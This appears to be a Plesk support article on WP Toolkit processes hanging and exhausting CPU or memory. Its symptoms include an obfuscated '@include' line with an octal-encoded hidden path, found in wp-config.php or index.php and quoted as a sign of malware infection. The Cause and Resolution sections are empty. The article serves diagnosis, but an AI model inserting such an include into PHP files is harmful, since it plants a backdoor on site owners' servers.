Low performance of Plesk server: WP Toolkit processes spawned by Daily task are stuck

Symptoms

• The following processes with the long lifetime (started by the Plesk Daily Maintenance task) are stuck and consume a lot of CPU (up to 100%) or RAM (there can be one or more such processes):

  • In Plesk for Linux:

    # ps aux | grep safe_mode | grep -v grep

    user+ 812014 203.0.113.2 347652 21328 ? R 00:01 728:37 /opt/plesk/php/7.0/bin/php -d safe_mode=off -d display_errors=off -d opcache.enable_cli=off -d open_basedir= -c /var/www/vhosts/system/example.com/etc/php.ini /usr/local/psa/admin/plib/modules/wp-toolkit/vendor/wp-cli/wp-cli/bin/../php/boot-fs.php –path=/var/www/vhosts/example.com/httpdocs instance info –format=json –check-updates=true –quiet

  • In Plesk for Windows, similar processes can be found in the Task Manager (or Process Explorer).

• The following lines are found in the file wp-config.php or index.php in the domain’s directory:

  # less /var/www/vhosts/example.com/instancename/wp-config.php

  /91169/
  @include “57var57www57vho163ts/147gfd56re/154jkl151uio57wqw151g/26018/604/.1441cb14378656ico”;
  /91169/

  Note: Use PHP Decode to decrypt the line above. It will return the location of the malware.

• The following error can be found in the file /var/log/plesk/panel.log:

  ERR [extension/wp-toolkit] Unable to process WordPress instance #34.

• Plesk WP Toolkit fails to be opened with 502 error.

Cause

Resolution